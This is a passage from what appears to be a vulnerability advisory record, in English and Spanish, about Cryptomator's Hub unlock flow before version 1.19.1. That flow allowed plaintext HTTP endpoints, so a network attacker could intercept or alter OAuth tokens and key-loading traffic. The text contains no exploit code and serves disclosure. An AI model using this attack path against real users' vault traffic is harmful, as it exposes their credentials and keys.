Prior to version 1.19.1, the Hub-based unlock flow explicitly supports hub+http and consumes Hub endpoints from vault metadata without enforcing HTTPS. As a result, a vault configuration can drive OAuth and key-loading traffic over plaintext HTTP or other insecure endpoint combinations. An active network attacker can tamper with or observe this traffic. Even when the vault key is encrypted for the device, bearer tokens and endpoint-level trust decisions are still exposed to downgrade and interception. This issue has been patched in version 1.19.1."}, {"lang": "es", "value": "Cryptomator cifra los datos almacenados en infraestructura en la nube. Antes de la versión 1.19.1, el flujo de desbloqueo basado en Hub soporta explícitamente hub+http y consume puntos finales de Hub de los metadatos de la bóveda sin forzar HTTPS. Como resultado, una configuración de bóveda puede dirigir tráfico de OAuth y carga de claves sobre HTTP en texto plano o sobre otras combinaciones de puntos finales inseguras. Un atacante de red activo puede manipular u observar este tráfico.
